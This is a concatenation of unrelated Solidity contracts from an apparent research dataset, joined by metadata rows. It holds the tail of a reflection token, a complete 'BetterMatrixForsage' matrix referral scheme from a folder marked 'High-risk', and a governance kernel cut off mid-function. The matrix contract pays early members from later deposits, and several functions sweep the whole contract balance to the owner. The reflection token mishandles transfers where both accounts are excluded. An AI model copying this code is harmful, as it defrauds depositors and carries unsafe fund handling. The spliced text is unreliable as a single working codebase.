function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 78,430 | 12,256 |
b7b2aeec5f360d8508f7c4f00cf1947ad9bd49951b6d06616f2b2e22e39c59b2
| 21,065 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x835091cb93Bb807Bc8778CDC046EBD52b651f9B8.sol
| 5,203 | 20,492 |
pragma solidity 0.6.8;
contract BetterMatrixForsage {
struct User {
uint id;
address referrer;
uint partnersCount;
bool[] activeX3Levels;
bool[] activeX6Levels;
uint balanceX3;
uint balanceX6;
uint missedProfits;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 18;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(address => uint) public userIds;
uint public lastUserId = 2;
address public owner;
address public lastReferrer;
uint public distributed;
uint public lastBid = 0.025 ether;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
event Bid(address indexed user, uint bidAmount, uint balance);
constructor(address ownerAddress) public {
levelPrice[1] = 0.025 ether;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0),
balanceX3 : uint(0),
balanceX6 : uint(0),
missedProfits : uint(0),
activeX3Levels : new bool[](LAST_LEVEL+1),
activeX6Levels : new bool[](LAST_LEVEL+1)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[ownerAddress] = 1;
lastReferrer = ownerAddress;
}
receive() external payable {
address(uint160(owner)).transfer(address(this).balance);
}
fallback() external payable {
registration(msg.sender, lastReferrer);
}
function registrationExt() external payable {
registration(msg.sender, lastReferrer);
}
function bidForLastRefferer() external payable {
require(isUserExists(msg.sender), "user not exists. Register first.");
require(msg.value >= lastBid, "invalid price");
address(uint160(owner)).transfer(address(this).balance);
lastBid = msg.value;
lastReferrer = msg.sender;
emit Bid(msg.sender , msg.value , distributed);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
lastReferrer = msg.sender;
emit Bid(msg.sender , lastBid , distributed);
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
lastReferrer = msg.sender;
emit Bid(msg.sender , lastBid , distributed);
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 0.05 ether, "registration cost 0.05");
require(!isUserExists(userAddress), "user exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
balanceX3 : uint(0),
balanceX6 : uint(0),
missedProfits : uint(0),
activeX3Levels : new bool[](LAST_LEVEL+1),
activeX6Levels : new bool[](LAST_LEVEL+1)
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[userAddress] = lastUserId;
lastReferrer = idToAddress[(uint(keccak256(abi.encodePacked(blockhash(block.number-1))))%lastUserId)+1];
lastBid = 0.025 ether;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (level != LAST_LEVEL && !users[referrerAddress].activeX3Levels[level+1]) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (level != LAST_LEVEL && !users[referrerAddress].activeX6Levels[level+1]) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendETHDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
address actualAddress = userAddress;
while (true) {
if (users[users[actualAddress].referrer].activeX3Levels[level]) {
return users[actualAddress].referrer;
}
actualAddress = users[actualAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
address actualAddress = userAddress;
while (true) {
if (users[users[actualAddress].referrer].activeX6Levels[level]) {
return users[actualAddress].referrer;
}
actualAddress = users[actualAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress) public view returns(bool[] memory) {
return users[userAddress].activeX3Levels;
}
function usersActiveX6Levels(address userAddress) public view returns(bool[] memory) {
return users[userAddress].activeX6Levels;
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, uint) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
users[receiver].missedProfits += levelPrice[level];
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
users[receiver].missedProfits += levelPrice[level];
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function updateBalances(address receiver, uint8 matrix, uint quantity) private {
if (matrix == 1) {
users[receiver].balanceX3 += quantity;
}
else {
users[receiver].balanceX6 += quantity;
}
distributed += quantity;
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
updateBalances(receiver, matrix, address(this).balance);
return address(uint160(receiver)).transfer(address(this).balance);
}
updateBalances(receiver, matrix, levelPrice[level]);
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
}
| 335,901 | 12,257 |
d8fa9d9df6f7931563ab7f3e0002c9e6b14a2ac3ffd96c2dbf1eabe992de43ce
| 18,988 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/50/500623E93b2c111C02A465f3249b7F1F1dAD181B_Instructions.sol
| 3,852 | 18,013 |
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.10;
error TargetNotAContract(address target_);
error InvalidKeycode(bytes5 keycode_);
error InvalidRole(bytes32 role_);
function ensureContract(address target_) view {
if (target_.code.length == 0) revert TargetNotAContract(target_);
}
function ensureValidKeycode(bytes5 keycode_) pure {
for (uint256 i = 0; i < 5;) {
bytes1 char = keycode_[i];
if (char < 0x41 || char > 0x5A) revert InvalidKeycode(keycode_); // A-Z only
unchecked {
i++;
}
}
}
function ensureValidRole(bytes32 role_) pure {
for (uint256 i = 0; i < 32;) {
bytes1 char = role_[i];
if ((char < 0x61 || char > 0x7A) && char != 0x00) {
revert InvalidRole(role_); // a-z only
}
unchecked {
i++;
}
}
}
// ######################## ~ ERRORS ~ ########################
// KERNEL ADAPTER
error KernelAdapter_OnlyKernel(address caller_);
// MODULE
error Module_PolicyNotAuthorized(address policy_);
// POLICY
error Policy_OnlyRole(bytes32 role_);
error Policy_ModuleDoesNotExist(bytes5 keycode_);
// KERNEL
error Kernel_OnlyExecutor(address caller_);
error Kernel_OnlyAdmin(address caller_);
error Kernel_ModuleAlreadyInstalled(bytes5 module_);
error Kernel_InvalidModuleUpgrade(bytes5 module_);
error Kernel_PolicyAlreadyApproved(address policy_);
error Kernel_PolicyNotApproved(address policy_);
error Kernel_AddressAlreadyHasRole(address addr_, bytes32 role_);
error Kernel_AddressDoesNotHaveRole(address addr_, bytes32 role_);
error Kernel_RoleDoesNotExist(bytes32 role_);
// ######################## ~ GLOBAL TYPES ~ ########################
enum Actions {
InstallModule,
UpgradeModule,
ActivatePolicy,
DeactivatePolicy,
ChangeExecutor,
ChangeAdmin,
MigrateKernel
}
struct Instruction {
Actions action;
address target;
}
struct Permissions {
bytes5 keycode;
bytes4 funcSelector;
}
// type Keycode is bytes5;
// type Role is bytes32;
// ######################## ~ MODULE ABSTRACT ~ ########################
abstract contract KernelAdapter {
Kernel public kernel;
constructor(Kernel kernel_) {
kernel = kernel_;
}
modifier onlyKernel() {
if (msg.sender != address(kernel)) revert KernelAdapter_OnlyKernel(msg.sender);
_;
}
function changeKernel(Kernel newKernel_) external onlyKernel {
kernel = newKernel_;
}
}
abstract contract Module is KernelAdapter {
event PermissionSet(bytes4 funcSelector_, address policy_, bool permission_);
constructor(Kernel kernel_) KernelAdapter(kernel_) {}
modifier permissioned() {
if (!kernel.modulePermissions(KEYCODE(), Policy(msg.sender), msg.sig))
revert Module_PolicyNotAuthorized(msg.sender);
_;
}
function KEYCODE() public pure virtual returns (bytes5);
/// @notice Specify which version of a module is being implemented.
/// @dev Minor version change retains interface. Major version upgrade indicates
/// @dev breaking change to the interface.
function VERSION() external pure virtual returns (uint8 major, uint8 minor) {}
/// @notice Initialization function for the module.
/// @dev This function is called when the module is installed or upgraded by the kernel.
/// @dev Used to encompass any upgrade logic. Must be gated by onlyKernel.
function INIT() external virtual onlyKernel {}
}
abstract contract Policy is KernelAdapter {
bool public isActive;
constructor(Kernel kernel_) KernelAdapter(kernel_) {}
modifier onlyRole(bytes32 role_) {
if (!kernel.hasRole(msg.sender, role_)) revert Policy_OnlyRole(role_);
_;
}
function configureDependencies() external virtual onlyKernel returns (bytes5[] memory dependencies) {}
function requestPermissions() external view virtual onlyKernel returns (Permissions[] memory requests) {}
function getModuleAddress(bytes5 keycode_) internal view returns (address) {
address moduleForKeycode = address(kernel.getModuleForKeycode(keycode_));
if (moduleForKeycode == address(0)) revert Policy_ModuleDoesNotExist(keycode_);
return moduleForKeycode;
}
/// @notice Function to let kernel grant or revoke active status
function setActiveStatus(bool activate_) external onlyKernel {
isActive = activate_;
}
}
contract Kernel {
// ######################## ~ VARS ~ ########################
address public executor;
address public admin;
// ######################## ~ DEPENDENCY MANAGEMENT ~ ########################
// Module Management
bytes5[] public allKeycodes;
mapping(bytes5 => Module) public getModuleForKeycode; // get contract for module keycode
mapping(Module => bytes5) public getKeycodeForModule; // get module keycode for contract
// Module dependents data. Manages module dependencies for policies
mapping(bytes5 => Policy[]) public moduleDependents;
mapping(bytes5 => mapping(Policy => uint256)) public getDependentIndex;
// Module <> Policy Permissions. Policy -> Keycode -> Function Selector -> Permission
mapping(bytes5 => mapping(Policy => mapping(bytes4 => bool))) public modulePermissions; // for policy addr, check if they have permission to call the function int he module
// List of all active policies
Policy[] public activePolicies;
mapping(Policy => uint256) public getPolicyIndex;
// Policy roles data
mapping(address => mapping(bytes32 => bool)) public hasRole;
mapping(bytes32 => bool) public isRole;
// ######################## ~ EVENTS ~ ########################
event PermissionsUpdated(bytes5 indexed keycode_, Policy indexed policy_, bytes4 funcSelector_, bool granted_);
event RoleGranted(bytes32 indexed role_, address indexed addr_);
event RoleRevoked(bytes32 indexed role_, address indexed addr_);
event ActionExecuted(Actions indexed action_, address indexed target_);
// ######################## ~ BODY ~ ########################
constructor() {
executor = msg.sender;
admin = msg.sender;
}
// ######################## ~ MODIFIERS ~ ########################
// Role reserved for governor or any executing address
modifier onlyExecutor() {
if (msg.sender != executor) revert Kernel_OnlyExecutor(msg.sender);
_;
}
// Role for managing policy roles
modifier onlyAdmin() {
if (msg.sender != admin) revert Kernel_OnlyAdmin(msg.sender);
_;
}
// ######################## ~ KERNEL INTERFACE ~ ########################
function executeAction(Actions action_, address target_) external onlyExecutor {
if (action_ == Actions.InstallModule) {
ensureContract(target_);
ensureValidKeycode(Module(target_).KEYCODE());
_installModule(Module(target_));
} else if (action_ == Actions.UpgradeModule) {
ensureContract(target_);
ensureValidKeycode(Module(target_).KEYCODE());
_upgradeModule(Module(target_));
} else if (action_ == Actions.ActivatePolicy) {
ensureContract(target_);
_activatePolicy(Policy(target_));
} else if (action_ == Actions.DeactivatePolicy) {
ensureContract(target_);
_deactivatePolicy(Policy(target_));
} else if (action_ == Actions.MigrateKernel) {
ensureContract(target_);
_migrateKernel(Kernel(target_));
} else if (action_ == Actions.ChangeExecutor) {
executor = target_;
} else if (action_ == Actions.ChangeAdmin) {
admin = target_;
}
emit ActionExecuted(action_, target_);
}
// ######################## ~ KERNEL INTERNAL ~ ########################
function _installModule(Module newModule_) internal {
bytes5 keycode = newModule_.KEYCODE();
if (address(getModuleForKeycode[keycode]) != address(0)) revert Kernel_ModuleAlreadyInstalled(keycode);
getModuleForKeycode[keycode] = newModule_;
getKeycodeForModule[newModule_] = keycode;
allKeycodes.push(keycode);
newModule_.INIT();
}
function _upgradeModule(Module newModule_) internal {
bytes5 keycode = newModule_.KEYCODE();
Module oldModule = getModuleForKeycode[keycode];
if (address(oldModule) == address(0) || oldModule == newModule_) revert Kernel_InvalidModuleUpgrade(keycode);
getKeycodeForModule[oldModule] = bytes5(0);
getKeycodeForModule[newModule_] = keycode;
getModuleForKeycode[keycode] = newModule_;
newModule_.INIT();
_reconfigurePolicies(keycode);
}
function _activatePolicy(Policy policy_) internal {
if (policy_.isActive()) revert Kernel_PolicyAlreadyApproved(address(policy_));
// Grant permissions for policy to access restricted module functions
Permissions[] memory requests = policy_.requestPermissions();
_setPolicyPermissions(policy_, requests, true);
// Add policy to list of active policies
activePolicies.push(policy_);
getPolicyIndex[policy_] = activePolicies.length - 1;
// Record module dependencies
bytes5[] memory dependencies = policy_.configureDependencies();
uint256 depLength = dependencies.length;
for (uint256 i; i < depLength;) {
bytes5 keycode = dependencies[i];
moduleDependents[keycode].push(policy_);
getDependentIndex[keycode][policy_] = moduleDependents[keycode].length - 1;
unchecked {
++i;
}
}
// Set policy status to active
policy_.setActiveStatus(true);
}
function _deactivatePolicy(Policy policy_) internal {
if (!policy_.isActive()) revert Kernel_PolicyNotApproved(address(policy_));
// Revoke permissions
Permissions[] memory requests = policy_.requestPermissions();
_setPolicyPermissions(policy_, requests, false);
// Remove policy from all policy data structures
uint256 idx = getPolicyIndex[policy_];
Policy lastPolicy = activePolicies[activePolicies.length - 1];
activePolicies[idx] = lastPolicy;
activePolicies.pop();
getPolicyIndex[lastPolicy] = idx;
delete getPolicyIndex[policy_];
// Remove policy from module dependents
_pruneFromDependents(policy_);
// Set policy status to inactive
policy_.setActiveStatus(false);
}
// WARNING: ACTION WILL BRICK THIS KERNEL. All functionality will move to the new kernel
// New kernel must add in all of the modules and policies via executeAction
// NOTE: Data does not get cleared from this kernel
function _migrateKernel(Kernel newKernel_) internal {
uint256 keycodeLen = allKeycodes.length;
for (uint256 i; i < keycodeLen;) {
Module module = Module(getModuleForKeycode[allKeycodes[i]]);
module.changeKernel(newKernel_);
unchecked {
++i;
}
}
uint256 policiesLen = activePolicies.length;
for (uint256 j; j < policiesLen;) {
Policy policy = activePolicies[j];
// Deactivate before changing kernel
policy.setActiveStatus(false);
policy.changeKernel(newKernel_);
unchecked {
++j;
}
}
}
function _reconfigurePolicies(bytes5 keycode_) internal {
Policy[] memory dependents = moduleDependents[keycode_];
uint256 depLength = dependents.length;
for (uint256 i; i < depLength;) {
dependents[i].configureDependencies();
unchecked {
++i;
}
}
}
function _setPolicyPermissions(Policy policy_,
